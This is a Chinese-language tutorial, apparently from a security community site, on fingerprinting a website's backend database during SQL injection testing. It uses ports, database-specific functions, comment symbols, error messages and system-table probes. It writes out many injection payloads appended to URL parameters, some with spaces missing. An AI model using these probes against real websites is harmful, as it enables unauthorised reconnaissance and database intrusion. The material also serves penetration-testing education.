判断后台数据库类型

sechub官方2023-06-13文章来源:SecHub网络安全社区


一、说明

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为第一时间不易知道目标网站使用的数据库类型。

目前企业使用 SQLserver、MySQL、Oracle 最常见,除此之外的几个较常见数据库如 Access、PostgreSQL、db2则要相对少的多。

常用SQL注入判断数据库方法

  • 使用数据库特有的函数来判断
  • 使用数据库专属符号来判断,如注释符号、多语句查询符等等
  • 报错信息判断
  • 数据库特性判断

二、常见系统架构经验判断

Asp和ASP.NET通常使用SQL Server

PHP通常使用MySQL或者PostgreSQL

JAVA通常是Oracle或MySQL

IIS服务器是基于windows的架构,后台数据库有可能是SQL Server

Apache服务器,可能使用开源数据库MySQL或PostgreSQL

三、根据端口判断

这个好办,根据目标开放的端口和常见数据库的默认端口进行对比判断

Oracle

默认端口1521

MSSQL(SQL Server)

默认端口1433

MSSQL指的是微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

MySQL

默认端口3306

Access

Access数据库属于文件型数据库 所以不开放端口号

四、特有函数判断

len和length

在MSSQL和MySQL以及db2内,返回长度值是调用len()函数;Oracle则是通过length()来返回长度值。

当你使用and len(‘a’)=1的时候,返回正常页面时,可以推断当前的数据库类型可能是MSSQL或MySQL或是db2。反之则可能会是Oracle

@@version和version()

在MySQL内,可以用@@version或是version()来返回当前的版本信息。但无法判断是MySQL还是MSSQL时,可以用version()函数来构造判断。version()>1 返回与@@version>1 相同页面时,则可能是MySQL。如果出现提示version()错误时,则可能是MSSQL。

substring和substr

在MSSQL中可以调用substring。Oracle则只可调用substr
总结一下:

sql server: @@pack_received @@rowcount 

mysql:connection_id() last_insert_id() row_count() 

orcale:bitand(1,1) 

postgresql: select extract(dow from now())

五、对字符串的处理方式

sql server :id=1 and 'a'+'b'='ab' --

mssql:id=1 and 'a'+'b'='ab'

mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')

oracle:id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

postgresql :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

六、特殊符号如注释

注释符号

【/*】是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

【–】是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

【;】是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

七、报错信息

ORACLE

ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended

MSSQL

Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo

MYSQL

you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

MySQL和MSSQL、Access

Access: and (select count(*) from MSysAccessObjects)>0 返回正常说明是access

SQLserver: and (select count(*) from sysobjects) >0 返回正常说明是mssql,这个表只有MSSQL数据库才有

MySQL: and length(user())>0 返回正常说明是MySQL

八、特有的数据表

mssql数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

access数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

mysql数据库

mysql版本>=5.0适用

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

oracle数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

具体试探语句

MSSQL(SQL server)

 ID=1 and(selectcount(*)from sysobjects)>0			返回正常

ID=1 and(selectcount(*)from msysobjects)>0		返回异常

ID=1 and left(version(),1)=5%23					//红色字体也可能是4

ID=1 and exists(selectid from sysobjects)

ID=1 and length(user)>0

ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)

MySQL

id=2 and version()>0			返回正常

id=2 and length(user())>0

id=2 CHAR(97,110,100,32,49,61,49)

Oracle

ID=1 and'1'||'1'='11

ID=1 and0<>(selectcount(*)fromdual)

ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

Access

ID=1 and(select count(*)from sysobjects)>0返回异常

ID=1 and(select count(*)from msysobjects)>0返回异常